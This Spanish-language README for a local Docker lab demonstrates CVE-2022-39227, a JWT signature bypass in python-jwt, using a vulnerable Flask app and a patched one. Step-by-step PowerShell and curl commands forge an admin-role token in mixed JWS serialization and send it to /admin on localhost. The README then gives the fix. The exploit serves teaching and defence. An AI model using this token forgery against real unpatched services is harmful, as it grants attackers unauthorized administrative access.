
Laboratorio educativo que demuestra el bypass de autenticación JWT CVE-2022-39227 en python-jwt. Ataque paso a paso contra aplicaciones Flask vulnerables y parcheadas con configuración Docker.
Este proyecto demuestra la vulnerabilidad CVE-2022-39227 en un entorno de laboratorio local controlado. Esta vulnerabilidad afecta a la biblioteca python-jwt (versiones < 3.3.4) y permite a un atacante falsificar claims JWT sin conocer la clave secreta explotando una inconsistencia de análisis (Serialización JWS) entre python-jwt y su dependencia jwcrypto.
El proyecto inicia dos aplicaciones Flask idénticas usando Docker, separadas únicamente por sus versiones de dependencia:
python-jwt==3.3.3)python-jwt==3.3.4)Ambas aplicaciones implementan un Control de Acceso Basado en Roles (RBAC) simple. Un usuario normal (alice) puede iniciar sesión y recibir un JWT. Solo los usuarios con el rol admin en su claim JWT pueden acceder al endpoint /admin.
1. Iniciar el Entorno Asegúrate de que Docker Desktop esté en ejecución, luego ejecuta:
docker-compose up -d --build
Esto iniciará ambos servidores (el vulnerable y el corregido) en segundo plano.
Para reproducir el ataque, ejecutarás solicitudes HTTP sin formato y manipulaciones de payload manualmente en PowerShell. Esto demuestra que la vulnerabilidad reside en el protocolo y en la lógica de análisis de la biblioteca, no en una herramienta externa.
Paso 1: Iniciar sesión y obtener un token válido
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
Paso 2: Dividir el JWT en componentes
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
Paso 3: Decodificar el Payload, modificar el rol y recodificar a Base64Url
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
Paso 4: Construir el Formato de Serialización JWS Malicioso
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
Paso 5: Ejecutar el Ataque contra ambos servidores
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
Actualiza python-jwt a la versión 3.3.4 o posterior. Además, las aplicaciones deberían aplicar una validación estricta de firmas y verificar la integridad del payload directamente a través de la capa de lógica de la aplicación siempre que sea posible.
Este proyecto se realizó estrictamente dentro de un entorno de laboratorio local y controlado con fines educativos. No se atacaron sistemas de terceros, servicios públicos ni cuentas de usuario reales.